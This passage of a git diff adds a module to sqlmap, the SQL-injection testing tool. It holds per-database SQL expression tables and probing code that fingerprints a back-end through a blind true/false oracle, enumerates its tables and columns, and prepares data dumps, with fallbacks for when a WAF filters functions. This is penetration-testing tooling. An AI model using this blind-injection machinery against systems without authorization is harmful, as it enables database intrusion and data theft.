"RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"), +) + + +# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here) +_LENGTH = ( + ("CHAR_LENGTH", "CHAR_LENGTH({expr})"), + ("LENGTH", "LENGTH({expr})"), + ("LEN", "LEN({expr})"), + ("length_lc", "length({expr})"), +) + + +# single char {expr} -> its integer code point +_CHARCODE = ( + ("ASCII", "ASCII({expr})"), + ("UNICODE", "UNICODE({expr})"), + ("ORD", "ORD({expr})"), + ("CODEPOINT", "CODEPOINT({expr})"), + ("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255) + ("ASCII_VAL", "ASCII_VAL({expr})"), + ("ASCW", "ASCW({expr})"), + ("UNICODE_CODE", "UNICODE_CODE({expr})"), + ("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed) +) + + +# integer {code} -> single char (lets extraction build literals without quoting) +_CHARFROM = ( + ("CHAR", "CHAR({code})"), + ("CHR", "CHR({code})"), + ("NCHAR", "NCHAR({code})"), + ("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL) + ("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255) +) + + +# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case) +_HEXFN = ( + ("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive + ("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle + ("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071') + ("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB + ("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate + ("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase + ("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast) + ("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA + ("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica + ("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner +) + + +# uppercase hex alphabet the nibble reader walks over +_HEXDIGITS = "0123456789ABCDEF" + + +# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles) +_MAX_HEX_CHAR_NIBBLES = 16 + + +# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes +# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one +_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le")) + + +# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn - +# the strongest encoding signal there is (the DB tells us its own charset), and read once. A +# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one. +_CHARSET_PROBES = ( + "@@character_set_connection", # MySQL/MariaDB/TiDB: the charset + # CAST(x AS CHAR) outputs (what the + # framed dump hexes), NOT @@character_set_database + "current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate + "(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle + "CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number +) + + +# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec. +# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really +# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true +# Latin-1. This is where reading the DB's own answer beats statistical detection. +_CHARSET_CODEC = { + "utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8", + "unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8", + "utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be", + "latin1": "cp1252", # MySQL 'latin1' == Windows-1252 + "cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252", + "iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1", + "iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15", + "cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251", + "cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250", + "gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030", + "big5": "big5", "zht16big5": "big5", "950": "big5", + "sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis", + "euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr", + "eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp", + "koi8r": "koi8-r", "cl8koi8r": "koi8-r", + "ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii", +} + + +def _charsetCodec(name): + """Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown. + Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively.""" + import re as _re + key = _re.sub(r"[^a-z0-9]", "", (name or "").lower()) + while key: + if key in _CHARSET_CODEC: + return _CHARSET_CODEC[key] + key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4) + return None + + +# the only code points a hex-framed dump payload can contain (hex digits + N/V markers +# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny +# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall +# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction. +_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV")) + + +# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default +# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL) +_BINWRAP = ( + ("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica + ("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE + ("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks + ("binary_op", "BINARY ({x})"), # MySQL (operator form) + ("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family + ("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2 + ("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby + ("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle + ("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise) +) + + +# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull) +_BULK_AGG = ( + ("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks + ("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery + ("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful + ("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase + ("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB + ("list_fb", "LIST({col})"), # Firebird (returns BLOB) + ("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw) +) + + +# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family +_DUAL = ( + ("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/... + ("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID + ("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby + ("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird + ("DUMMY", " FROM DUMMY"), # SAP HANA + ("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix + ("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard + ("system.onerow", " FROM system.onerow"), # Mimer SQL +) + + +# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail) +_DUAL_IMPLIES = { + "DUAL": "Oracle / MaxDB / Altibase / CUBRID", + "SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby", + "RDB$DATABASE": "Firebird", + "DUMMY": "SAP HANA", + "SYSMASTER:SYSDUAL": "Informix", + "VALUES": "HSQLDB / SQL-standard", + "system.onerow": "Mimer SQL", +} + + +# version-banner probes: (label, expr, product, implies_product). engine-specific first; +# implies_product=False marks generic banners where only the banner TEXT names the product +_BANNERS = ( + ("H2VERSION()", "H2VERSION()", "H2", True), + ("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True), + ("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True), + ("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True), + ("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle + ("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE + ("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True), + ("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True), + ("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True), + ("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True), + ("@@VERSION", "@@VERSION", None, False), + ("VERSION()", "VERSION()", None, False), + ("version()", "version()", None, False), +) + + +# product names searched for INSIDE a banner string; forks listed BEFORE their parents +# (e.g. MariaDB before MySQL) so the more specific name wins +_BANNER_KEYWORDS = ( + "Microsoft SQL Server", + "CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL", + "TiDB", "Percona", "MariaDB", "MySQL", + "Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake", + "Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix", +) + + +# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing) +_BYTELEN = ( + ("OCTET_LENGTH", "OCTET_LENGTH({expr})"), + ("DATALENGTH", "DATALENGTH({expr})"), + ("LENGTHB", "LENGTHB({expr})"), +) + + +# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed +# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but +# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still +# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check +# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded; +# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap, +# so a >4000 value there is caught by per-cell source verification in dump(), not here. +_TEXTCAST = ( + ("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED + ("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR) + ("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED + ("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode) + ("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED + ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only) + ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit) + ("to_char", "TO_CHAR({expr})"), + ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"), + ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"), +) + + +# substitute {fallback} when {expr} IS NULL +_COALESCE = ( + ("COALESCE", "COALESCE({expr},{fallback})"), + ("IFNULL", "IFNULL({expr},{fallback})"), + ("NVL", "NVL({expr},{fallback})"), + ("ISNULL", "ISNULL({expr},{fallback})"), + ("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"), +) + + +# expressions that yield the current user / database-or-schema / version, per kind +_IDENTITY = { + "user": ( + "CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER", + "SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()", + ), + # the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA + # functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope + # column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE() + # is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL), + # SCHEMA() returns the same value, so nothing regresses. + "database": ( + "CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema", + "SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()", + ), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix + "version": ( + "VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()", + "DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()", + "(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle + "(SELECT version FROM v$instance)", # Oracle alt + ), +} + + +# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first +# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family +_CATALOGS = ( + ("sqlite_master", "SQLite", + {"table": ("tbl_name", "sqlite_master", "type='table'")}), + ("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as + {"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler + "schema": ("OWNER", "SYS.ALL_TABLES", None)}), + ("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede + {"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`) + "schema": ("table_schema", "information_schema.tables", None)}), + ("pg_catalog.pg_tables", "PostgreSQL-family", + {"table": ("tablename", "pg_catalog.pg_tables", None), + "schema": ("schemaname", "pg_catalog.pg_tables", None)}), + ("master..sysdatabases", "MSSQL/Sybase", + {"database": ("name", "master..sysdatabases", None), + "schema": ("name", "sys.schemas", None), + "table": ("name", "sys.tables", None)}), + ("RDB$RELATIONS", "Firebird", + {"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding + ("syscat.tables", "IBM DB2", + {"table": ("tabname", "syscat.tables", None)}), + ("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS, + {"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA + ("SYS.OBJECTS", "SAP HANA", + {"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}), + ("SYS.SYSTABLES", "Apache Derby", + {"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables) + ("SYSIBM.SYSTABLES", "DB2/Derby", + {"table": ("NAME", "SYSIBM.SYSTABLES", None)}), + ("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage); + {"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed + ("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified); + {"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables + ("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the + {"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute + ("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)", + {"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None), + "schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}), +) + + +# per-catalog column enumeration: (name_col, source, filter) where filter has one %s +# for the (literal) table name; matched by the catalog chosen above +# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the +# catalog's declared column position, used to return columns in DEFINITION order (else +# they come out alphabetical); a wrong/absent one just degrades to alphabetical +_COLUMN_SPECS = { + "sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"), + "SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema + "pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), + "sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns()) + "master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"), + "RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding + "syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"), + "db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID + "systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix + "sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB + "system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db) + "SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"), + "SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"), + "SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"), + "INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"), +} + + +# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB +# (case-sensitive, literal '_') is preferred over LIKE +_PREFIX = ( + ("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred) + ("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive) + ("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META) +) + + +# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a +# literal one in the extracted value must be backslash-escaped or the pattern mismatches +_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$") + + +# identifier quoting styles: (open, close); probed against a known-present table +_IDENT_QUOTE = ( + ('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/... + ('`', '`'), # MySQL/MariaDB/TiDB + ('[', ']'), # SQL Server/Access/Sybase +) + + +# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter); +# the preferred row-ordering key for dump() +# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes +# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA) +_ANSI_KEY_SPEC = ( + "INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))") + +_KEY_SPECS = { + "INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC, + "master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk + "pg_catalog.pg_tables": ( + "information_schema.key_column_usage", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"), + "SYS.ALL_TABLES": ( + "SYS.ALL_CONS_COLUMNS", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS " + "WHERE constraint_type IN ('P','U'))"), +} + + +# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump() +_ROWID = ( + ("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured + ("_ROWID_", "_ROWID_", "int"), # SQLite alias + ("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable) + ("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing + ("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number +) + + +# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their +# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT +# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works +_ROWID_LITBOUND = frozenset(("ctid",)) + + +# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet +_PRINTABLE = "".join(chr(_) for _ in range(32, 127)) + + +# _PRINTABLE sorted by code point (for ordinal/collation bisection) +_PRINTABLE_SORTED = sorted(_PRINTABLE) + + +# English-frequency-ordered charset (common letters first) so the equality scan needs +# fewer probes on real text; completed with any remaining printable chars below +_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz" + "0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ") +_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER) + + +# highest Unicode code point: the upper bound for code-mode bisection +_UNICODE_MAX = 0x10FFFF + + +# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker +# (extraction emits it instead of ever silently substituting/dropping a character) +_REPL = u"\uFFFD" + + +# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is +# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of +# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which +# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value. +_SOFT_WARNINGS = ("case", "collation", "recovered via hex") + + +def _hardWarnings(warns): + """The integrity-class warnings in `warns` (those that impugn the recovered bytes).""" + return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)] + + +# py2/py3 shim: integer code point -> single char +try: + _unichr = unichr # py2 +except NameError: + _unichr = chr # py3 + +# py2/py3 shim: the py2 unicode text type (str on py3) +try: + _unicode = unicode # py2 +except NameError: + _unicode = str # py3 + + +def _native(s): + # embed a literal as the native str type: on py2 a unicode value is encoded to + # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force + # an ascii encode of non-ASCII data; on py3 str is already unicode-clean. + if str is bytes and isinstance(s, _unicode): # py2 only + return s.encode("utf-8") + return s + + +__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii'] diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py new file mode 100644 index 00000000000..dc331146971 --- /dev/null +++ b/extra/esperanto/discovery.py @@ -0,0 +1,604 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BANNER_KEYWORDS +from .atlas import _BANNERS +from .atlas import _BINWRAP +from .atlas import _BYTELEN +from .atlas import _CATALOGS +from .atlas import _CHARCODE +from .atlas import _CHARFROM +from .atlas import _charsetCodec +from .atlas import _CHARSET_PROBES +from .atlas import _COALESCE +from .atlas import _CONCAT +from .atlas import _DUAL +from .atlas import _DUAL_IMPLIES +from .atlas import _HEXFN +from .atlas import _IDENTITY +from .atlas import _LENGTH +from .atlas import _PREFIX +from .atlas import _SUBSTRING +from .atlas import _TEXTCAST +from .records import Cap +from .records import OracleUndecided + + +class _Discovery(object): + """_Discovery + + probe the target to build the Dialect; populates self.dialect, never extracts data.""" + + def discover(self): + with self._probePhase(): + return self._discover() + + def _discover(self): + if not self._sanity(): + raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)") + try: + self._discoverSubstring() + except RuntimeError: + # MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a + # pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/ + # code/hex fn. + if self._fallbackPrefix(): + return self.dialect + raise + try: + self._discoverLength() + except RuntimeError: + # no length fn - derive length from the substring's end behavior, provided + # that end is observable (empty/NULL). one more laddered capability, so a + # backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts. + # if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor. + if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"): + if self._fallbackPrefix(): + return self.dialect + raise + self.dialect.notes.append("no length fn; length derived from substring end") + self._discoverBytelen() + self._discoverConcat() + self._fixupLength() + self._discoverTextcast() + self._discoverCoalesce() + self._discoverCompare() + self._discoverComparator() + self._discoverCharfrom() + self._discoverCharset() + self._discoverDual() + self._discoverIdentity() + self._discoverCatalog() + self._checkCompat() + self._discovered = True + return self.dialect + + def _fallbackPrefix(self): + # pure LIKE/GLOB pattern-match floor: usable when there is no workable + # substring+length combo (substring absent, or present but unmeasurable). + # only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no + # SUBSTR) are discovered; concat/compare/etc. stay None. + if not self._discoverPrefix(): + return False + self.dialect.substring = None # route retrieval to the pattern-match path + self.dialect.length = None + self.dialect.compare = "like" + # the numeric/paging comparator is STILL needed here: catalog keyset paging relies on + # it, and the constructor default 'gt'/_inOk=True would silently fail (returning only + # the first row, no warning) on the very WAF that forced this floor. Discover the real + # capability so paging uses NOT IN / brute-force honestly. + self._discoverComparator() + self._discoverCharfrom() + self._discoverCharset() + self._discoverDual() + self._discoverCatalog() + self._discovered = True + return True + + def _discoverPrefix(self): + # LIKE/GLOB pattern match: 'sqlmap' 'sq' true, 'zz' false. + # also measure case-sensitivity ('a' 'A'). + for op, multi, single in _PREFIX: + if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \ + not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)): + ci = self._ask("('a') %s 'A'" % op) + self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci) + return op + return None + + def identify(self): + """Fuse catalog family + required dual-table + version banner (+ behavioral + tells) into a best-guess product with an evidence trail. Run after + discover(). This is the CTF step: name the abomination on the other end.""" + d = self.dialect + if not self._discovered: + self.discover() + ev = [] + if d.catalog: + ev.append(("catalog = %s" % d.catalog, d.family)) + if d.dual and d.dual[0] != "bare": + ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?"))) + product = None + # best-effort naming: on a permission/charset wall a probe may be undecided; + # degrade to whatever evidence was gathered rather than crash the verdict + try: + # cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner) + if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")): + ev.append(("|| is logical OR (not concat)", "MySQL family")) + product = "MySQL" + # the version banner is the EXPENSIVE part (blind-reading a long string), so + # it is paid for ONLY when the catalog family can't name the product on its + # own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific + # catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and + # --banner reads the full version explicitly via banner(). + if product is None and (not d.family or "ANSI" in d.family): + val, implied = self._probeBanner() + if val: + ev.append(("banner", val)) + product = self._nameFromBanner(val) or implied + if product is None and self._hasChars("@@version_comment"): + comment = self.extract("@@version_comment", limit=64) + if comment: + ev.append(("@@version_comment", comment)) + product = self._nameFromBanner(comment) + except OracleUndecided: + ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)")) + + d.product = product or d.family + d.evidence = ev + return {"product": d.product, "version": d.version, "family": d.family, + "dual": d.dual[0] if d.dual else None, "compare": d.compare, + "evidence": ev} + + def _probeBanner(self): + # blind-read the version string (expensive - a long string over the oracle). + # caches on 